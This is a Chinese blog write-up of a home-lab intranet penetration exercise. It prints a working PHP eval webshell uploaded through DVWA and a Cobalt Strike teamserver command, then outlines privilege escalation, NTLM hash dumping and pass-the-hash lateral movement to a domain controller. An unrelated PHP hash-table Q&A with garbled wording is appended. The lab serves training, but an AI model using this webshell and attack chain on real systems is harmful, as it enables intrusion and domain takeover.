内网渗透、哈希传递、获取域控权限

网络拓扑

  • kali(桥接)

    10.9.47.221

  • win11(nat 模式)

    192.168.1.130

  • DMZ(win7)

    网卡1(桥接)10.9.47.110

    网卡2(仅主机)172.16.1.128

  • 域控(win 2008)(仅主机)

    172.16.1.129

要求

  1. 域控主机搭建域环境,DMZ 主机加⼊域内
  2. DMZ 主机存在⽂件上传漏洞和命令执⾏漏洞
  3. 获取 DMZ 主机控制权限,写⼊⼀句话⽊⻢或者上传⼀句话⽊⻢并连接
  4. cs ⽣成⽊⻢,使 DMZ 主机上线 cs
  5. 提权到 system 权限,⽣成 smblistener
  6. 使⽤哈西传递操作横向移动到预控,拿下预控权限
  7. 搭建正向代理,在 win11 上直接访问到预控主机的服务,例如 3389 或者 web

获取 webshell

使用 dvwa 文件上传模拟漏洞

准备一句话木马

1.php

<?php @eval($_REQUEST['gjl']);?>

访问 DMZ(win7)

10.9.47.110/dvwa

调到 low 模式上传一句话木马

image-20231215163306439

蚁剑连接

image-20231215163436698

Cobalt Strike 环境搭建

cs 服务端搭建、登录

kali 开启 teamserver

./teamserver 10.9.47.221 123456

image-20231215163530949

win11 开启客户端

image-20231215163806915

提权

image-20231215163911879

选择监听模块并生成

image-20231215164003064

使用蚁剑将木马上传到 DMZ 上

image-20231215164103533

使用蚁剑打开命令终端运行该程序, DMZ 主机上线

artiface_x64.exe

此时 DMZ 主机还是普通用户权限

image-20231215173655972

提权到管理员

image-20231215173918060

image-20231215164517988

成功提权

image-20231215173941245

提权到 system

image-20231215174806081

image-20231215174823503

横向移动

抓取本地 ntlm hash

image-20231215174905099

image-20231215174925531

内网扫描

image-20231215175029211

image-20231215174232818

查看扫描出的内网主机

image-20231215174430517

哈希传递

image-20231215175336299

image-20231215175821466

选择刚刚创建的 smb 监听

image-20231215175847440

指定成功传递后与哪个主机做连接

image-20231215180326599

成功横向移动

image-20231215181440289

image-20231215181524180

  • 11
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
### 回答1: PHP 中可以使用函数 `array_keys()` 来查找所有哈表的键,例如: ``` $hashtable = array('a' => 1, 'b' => 2, 'c' => 3); $keys = array_keys($hashtable); print_r($keys); ``` 输出结果为: ``` Array ( [0] => a [1] => b [2] => c ) ``` 如果要查找所有哈表的值,可以使用函数 `array_values()`,例如: ``` $hashtable = array('a' => 1, 'b' => 2, 'c' => 3); $values = array_values($hashtable); print_r($values); ``` 输出结果为: ``` Array ( [0] => 1 [1] => 2 [2] => 3 ) ``` 如果要查找所有哈表的键和值,可以使用 `foreach` 语句遍历哈表,例如: ``` $hashtable = array('a' => 1, 'b' => 2, 'c' => 3); foreach ($hashtable as $key => $value) { echo "$key => $value\n"; } ``` 输出结果为: ``` a => 1 b => 2 c => 3 ``` ### 回答2: 要查找PHP中所有的哈表,可以使用遍历和递归的方法来实现。在PHP中,哈表可以通过数组表示。 首先,我们可以使用全局变量$GLOBAL来获取当前脚本中的所有变量。然后,使用foreach循环遍历$GLOBAL数组中的每个元素,判断每个元素是否为数组。 如果元素是数组,那么就可以确定它是一个哈表。我们可以再次使用foreach循环遍历这个数组,以获取表中的键和对应的值。 下面是一个示例代码: ```php function findHashTables($arr) { foreach ($arr as $key => $value) { if (is_array($value)) { echo "哈表:$key<br>"; foreach ($value as $k => $v) { echo "键:$k => 值:$v<br>"; } echo "<br>"; } } } findHashTables($GLOBALS); ``` 在这个示例代码中,我们定义了一个名为findHashTables的函数,它接受一个数组作为参数。我们将$GLOBAL数组传递给这个函数,以查找所有的哈表。 函数内部首先使用foreach循环遍历$GLOBAL数组,判断每个元素是否为数组。如果是数组,就打印出该数组的键和值。通过调用这个函数,我们可以找到当前脚本中的所有哈表。 需要注意的是,这个方法只能查找当前脚本中的哈表,如果要查找其他作用中的哈表,可以采用类似的方法,传递相应的数组参数即可。 ### 回答3: 在PHP中,你可以使用`get_defined_vars()`函数来查找所有的哈表。 哈表是一种关联数组,也称为字典或映射。在PHP中,哈表是使用关联数组实现的。 `get_defined_vars()`函数返回一个包含所有已定义变量的数组。它会返回一个包含多个元素的数组,每个元素对应一个已定义的变量,并存储了变量的名称和值。 要查找所有的哈表,你可以通过遍历`get_defined_vars()`返回的数组,并判断每个变量的类型是否为数组。如果是数组,则可以确定它是一个哈表。 下面是一个示例代码,展示如何使用`get_defined_vars()`函数查找所有的哈表: ```php $hashTables = array(); // 用于存储所有哈表的数组 // 遍历所有已定义的变量 foreach (get_defined_vars() as $var) { // 判断变量是否为数组类型 if (is_array($var)) { // 将数组(哈表)添加到结果数组中 $hashTables[] = $var; } } // 打印所有哈表 foreach ($hashTables as $hashTable) { print_r($hashTable); } ``` 以上代码将打印出所有的哈表。注意,这里只是对PHP中已定义的哈表进行查找,未定义的哈表不会被包含在结果中。 总结来说,通过使用`get_defined_vars()`函数和判断变量类型是否为数组,你可以很容易地查找所有的哈表。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

gjl_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值